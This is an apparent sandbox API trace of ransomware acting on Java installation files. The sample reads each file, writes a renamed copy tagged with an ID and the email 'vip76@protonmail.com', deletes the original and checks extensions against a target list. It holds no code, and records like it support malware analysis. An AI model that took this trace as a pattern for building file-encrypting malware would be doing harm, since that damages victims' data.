	[0065.312] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.312] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.312] GetLastError () returned 0x0
	[0065.312] ReadFile (in: hFile=0x358, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x3bac, lpOverlapped=0x0) returned 1
	[0065.333] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x3bb0, lpOverlapped=0x0) returned 1
	[0065.334] ReadFile (in: hFile=0x358, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.334] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xee, lpOverlapped=0x0) returned 1
	[0065.334] SetEndOfFile (hFile=0x364) returned 1
	[0065.335] CloseHandle (hObject=0x364) returned 1
	[0065.336] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.336] SetEndOfFile (hFile=0x358) returned 1
	[0065.337] CloseHandle (hObject=0x358) returned 1
	[0065.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.337] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1
	[0065.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.337] lstrlenW (lpString=".doc") returned 4
	[0065.337] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.338] lstrlenW (lpString=".docx") returned 5
	[0065.338] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0065.338] lstrlenW (lpString=".pdf") returned 4
	[0065.338] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.338] lstrlenW (lpString=".xls") returned 4
	[0065.338] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.338] lstrlenW (lpString=".xlsx") returned 5
	[0065.338] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0065.338] lstrlenW (lpString=".ppt") returned 4
	[0065.338] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.338] lstrlenW (lpString=".zip") returned 4
	[0065.338] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.338] lstrlenW (lpString=".rar") returned 4
	[0065.338] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.338] lstrlenW (lpString=".bz2") returned 4
	[0065.338] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.338] lstrlenW (lpString=".7z") returned 3
	[0065.338] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.338] lstrlenW (lpString=".dbf") returned 4
	[0065.338] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.338] lstrlenW (lpString=".1cd") returned 4
	[0065.338] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.338] lstrlenW (lpString=".jpg") returned 4
	[0065.338] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.338] lstrlenW (lpString=".doc") returned 4
	[0065.339] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.339] lstrlenW (lpString=".docx") returned 5
	[0065.339] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0065.339] lstrlenW (lpString=".pdf") returned 4
	[0065.339] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.339] lstrlenW (lpString=".xls") returned 4
	[0065.339] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.339] lstrlenW (lpString=".xlsx") returned 5
	[0065.339] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0065.339] lstrlenW (lpString=".ppt") returned 4
	[0065.339] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.339] lstrlenW (lpString=".zip") returned 4
	[0065.339] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.339] lstrlenW (lpString=".rar") returned 4
	[0065.339] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.339] lstrlenW (lpString=".bz2") returned 4
	[0065.339] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.339] lstrlenW (lpString=".7z") returned 3
	[0065.339] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.339] lstrlenW (lpString=".dbf") returned 4
	[0065.339] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.339] lstrlenW (lpString=".1cd") returned 4
	[0065.339] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0065.339] lstrlenW (lpString=".jpg") returned 4
	[0065.339] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.340] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.340] lstrlenW (lpString="splash_11-lic.gif") returned 17
	[0065.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.340] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7805) returned 1
	[0065.340] CloseHandle (hObject=0x358) returned 1
	[0065.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20
	[0065.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.439] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.439] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.439] GetLastError () returned 0x0
	[0065.439] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1e7d, lpOverlapped=0x0) returned 1
	[0065.480] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0065.481] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.481] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0065.481] SetEndOfFile (hFile=0x320) returned 1
	[0065.481] CloseHandle (hObject=0x320) returned 1
	[0065.482] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.482] SetEndOfFile (hFile=0x364) returned 1
	[0065.483] CloseHandle (hObject=0x364) returned 1
	[0065.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.483] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1
	[0065.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.487] lstrlenW (lpString=".doc") returned 4
	[0065.487] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.487] lstrlenW (lpString=".docx") returned 5
	[0065.488] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0065.488] lstrlenW (lpString=".pdf") returned 4
	[0065.488] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.488] lstrlenW (lpString=".xls") returned 4
	[0065.488] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.488] lstrlenW (lpString=".xlsx") returned 5
	[0065.488] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0065.488] lstrlenW (lpString=".ppt") returned 4
	[0065.488] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.488] lstrlenW (lpString=".zip") returned 4
	[0065.488] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.488] lstrlenW (lpString=".rar") returned 4
	[0065.488] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.488] lstrlenW (lpString=".bz2") returned 4
	[0065.488] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.488] lstrlenW (lpString=".7z") returned 3
	[0065.488] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.488] lstrlenW (lpString=".dbf") returned 4
	[0065.488] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.488] lstrlenW (lpString=".1cd") returned 4
	[0065.488] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.488] lstrlenW (lpString=".jpg") returned 4
	[0065.488] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.488] lstrlenW (lpString=".doc") returned 4
	[0065.489] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.489] lstrlenW (lpString=".docx") returned 5
	[0065.489] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0065.489] lstrlenW (lpString=".pdf") returned 4
	[0065.489] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.489] lstrlenW (lpString=".xls") returned 4
	[0065.489] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.489] lstrlenW (lpString=".xlsx") returned 5
	[0065.489] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0065.489] lstrlenW (lpString=".ppt") returned 4
	[0065.489] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.489] lstrlenW (lpString=".zip") returned 4
	[0065.489] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.489] lstrlenW (lpString=".rar") returned 4
	[0065.489] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.489] lstrlenW (lpString=".bz2") returned 4
	[0065.489] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.489] lstrlenW (lpString=".7z") returned 3
	[0065.489] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.489] lstrlenW (lpString=".dbf") returned 4
	[0065.489] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.489] lstrlenW (lpString=".1cd") returned 4
	[0065.489] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0065.489] lstrlenW (lpString=".jpg") returned 4
	[0065.489] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.490] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.490] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23
	[0065.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.498] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=147) returned 1
	[0065.498] CloseHandle (hObject=0x328) returned 1
	[0065.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20
	[0065.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.500] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.500] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.500] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.503] GetLastError () returned 0x0
	[0065.503] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x93, lpOverlapped=0x0) returned 1
	[0065.504] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0065.505] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.505] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x102, lpOverlapped=0x0) returned 1
	[0065.505] SetEndOfFile (hFile=0x320) returned 1
	[0065.505] CloseHandle (hObject=0x320) returned 1
	[0065.506] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.506] SetEndOfFile (hFile=0x338) returned 1
	[0065.507] CloseHandle (hObject=0x338) returned 1
	[0065.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.507] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1
	[0065.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.508] lstrlenW (lpString=".doc") returned 4
	[0065.508] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.508] lstrlenW (lpString=".docx") returned 5
	[0065.508] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.508] lstrlenW (lpString=".pdf") returned 4
	[0065.508] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.508] lstrlenW (lpString=".xls") returned 4
	[0065.508] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.508] lstrlenW (lpString=".xlsx") returned 5
	[0065.508] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.508] lstrlenW (lpString=".ppt") returned 4
	[0065.508] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.508] lstrlenW (lpString=".zip") returned 4
	[0065.508] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.508] lstrlenW (lpString=".rar") returned 4
	[0065.508] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.508] lstrlenW (lpString=".bz2") returned 4
	[0065.508] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.508] lstrlenW (lpString=".7z") returned 3
	[0065.508] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.508] lstrlenW (lpString=".dbf") returned 4
	[0065.509] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.509] lstrlenW (lpString=".1cd") returned 4
	[0065.509] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.509] lstrlenW (lpString=".jpg") returned 4
	[0065.509] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.509] lstrlenW (lpString=".doc") returned 4
	[0065.509] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.509] lstrlenW (lpString=".docx") returned 5
	[0065.509] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.509] lstrlenW (lpString=".pdf") returned 4
	[0065.509] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.509] lstrlenW (lpString=".xls") returned 4
	[0065.509] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.509] lstrlenW (lpString=".xlsx") returned 5
	[0065.509] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.509] lstrlenW (lpString=".ppt") returned 4
	[0065.509] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.509] lstrlenW (lpString=".zip") returned 4
	[0065.509] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.509] lstrlenW (lpString=".rar") returned 4
	[0065.509] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.509] lstrlenW (lpString=".bz2") returned 4
	[0065.509] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.509] lstrlenW (lpString=".7z") returned 3
	[0065.510] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.510] lstrlenW (lpString=".dbf") returned 4
	[0065.510] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.510] lstrlenW (lpString=".1cd") returned 4
	[0065.510] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0065.510] lstrlenW (lpString=".jpg") returned 4
	[0065.510] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.510] lstrcmpiW (lpString1=".txt", lpString2=".html") returned 1
	[0065.510] lstrlenW (lpString="jvm.hprof.txt") returned 13
	[0065.510] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.510] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4226) returned 1
	[0065.510] CloseHandle (hObject=0x338) returned 1
	[0065.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20
	[0065.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.511] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
